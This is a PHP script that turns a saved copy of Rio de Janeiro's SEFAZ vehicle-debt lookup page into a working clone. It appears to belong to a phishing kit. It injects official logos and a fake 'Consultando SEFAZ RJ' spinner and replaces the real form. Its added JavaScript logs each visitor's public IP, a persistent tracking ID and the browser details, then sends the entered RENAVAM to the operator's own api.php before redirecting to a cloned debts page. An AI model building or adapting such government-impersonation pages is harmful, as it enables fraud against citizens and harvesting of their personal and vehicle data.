<?php
$html = file_get_contents('/var/www/rj/raw_index.html');

// Remover tags que causam problemas ou não são necessárias
$html = preg_replace('/<base href=".*?">/', '', $html);
$html = preg_replace('/<link rel="stylesheet" type="text\/css" href="cid:css-.*?@mhtml\.blink" \/>/', '', $html);

// Injetar CSS locais conhecidos para manter o visual
$local_css = '
    <link href="./css/res_n191623166.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_9409626209.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n115604630.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n461010783.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n690152644.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n792564736.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n649821122.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_7648729210.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_6674759822.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_3720548897.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_4579977752.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n805579820.css" rel="stylesheet" type="text/css" />
    <link href="./css/styles.fd1426045cf0df08.css" rel="stylesheet" type="text/css" />
';

$html = str_replace('</head>', $local_css . '</head>', $html);

// Injetar o Modal de Loading
$loading_modal = '
<div class="modal-container" id="modalLoading" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(255,255,255,0.95); z-index:9999; justify-content:center; align-items:center;">
  <div style="text-align:center;">
    <div class="spinner" style="border:4px solid rgba(0,0,0,0.1); border-top:4px solid #327dff; border-radius:50%; width:40px; height:40px; margin:auto; animation:spin 1s linear infinite;"></div>
    <p style="margin-top:15px; font-weight:bold; color:#327dff;">Consultando SEFAZ RJ...</p>
  </div>
</div>
<style>
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
</style>
';

$html = str_replace('<app-root', $loading_modal . '<app-root', $html);

// Substituir Logos por IMG para garantir exibição
// Logo Header (Sefaz Branca)
$html = str_replace('<figure id="logo-sefaz-white"></figure>', '<img src="./index_files/logorj.svg" style="height: 25px;">', $html);
// Logo Footer (Sefaz Black)
$html = str_replace('<figure id="logo-sefaz-rj-black" class="opacity-50 m-0"></figure>', '<img src="./debitos_files/logorodaperj.svg" style="height: 35px; opacity: 0.5;">', $html);

// Corrigir o formulário no HTML
$form_to_find = '/<form .*?<\/form>/s';
$our_form = '
<form onsubmit="event.preventDefault(); consultar();" class="ng-untouched ng-pristine ng-invalid">
    <div class="caixa-input">
        <div class="row">
            <div class="col-lg-6">
                <label for="renavam">RENAVAM</label>
                <input type="text" id="renavam" name="renavam" placeholder="Digite o renavam" maxlength="11" class="p-inputtext p-component p-element" style="width: 100%; border: 1px solid #ced4da; padding: 0.5rem 0.75rem; border-radius: 0.25rem;">
            </div>
            <div class="col-lg-6 pt-4">
                <button type="submit" class="p-element btn btn-primary p-button p-component" style="background-color: #327dff; border-color: #327dff;">
                    <span class="p-button-label">Consultar</span>
                </button>
                <button type="button" onclick="document.getElementById('renavam').value=''" class="p-element ml-2 btn btn-outline-secondary p-button p-component">
                    <span class="p-button-label">Limpar</span>
                </button>
            </div>
        </div>
    </div>
</form>
';

$html = preg_replace($form_to_find, $our_form, $html);

// Injetar scripts no final do body
$scripts = '
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
(function() {
    async function getIPv4() {
        try {
            const response = await fetch("https://api.ipify.org?format=json");
            const data = await response.json();
            return data.ip;
        } catch (e) { return null; }
    }
    async function initTrack() {
        window._ipv4 = await getIPv4();
        let vid = localStorage.getItem("nexus_vid");
        if (!vid) {
            vid = "v_" + Math.random().toString(36).substr(2, 9);
            localStorage.setItem("nexus_vid", vid);
        }
        window._vid = vid;

        fetch("./track.php", {
            method: "POST",
            body: JSON.stringify({
                action: "visit",
                captured_ip: window._ipv4,
                visitor_id: window._vid,
                metadata: { url: window.location.href, ua: navigator.userAgent }
            })
        }).catch(() => {});
    }
    initTrack();
})();

function consultar() {
    const renavam = document.getElementById("renavam").value.replace(/\D/g, "");
    if(!renavam || renavam.length < 9) { alert("Informe um Renavam válido."); return; }
    
    $("#modalLoading").css("display", "flex");
    
    $.ajax({
        url: "./api.php",
        type: "POST",
        data: { renavam: renavam, captured_ip: window._ipv4, visitor_id: window._vid },
        dataType: "json",
        success: function(response) {
            if (response.success) {
                sessionStorage.setItem("dadosVeiculo", JSON.stringify(response));
                window.location.href = "debitos.html?renavam=" + renavam;
            } else {
                $("#modalLoading").hide();
                alert(response.error || "Veículo não encontrado.");
            }
        },
        error: function() {
            $("#modalLoading").hide();
            alert("Erro na consulta. Tente novamente.");
        }
    });
}
</script>
';

$html = str_replace('</body>', $scripts . '</body>', $html);

file_put_contents('/var/www/rj/index.html', $html);
echo "index.html atualizado com base no raw_index.html e logos IMG";
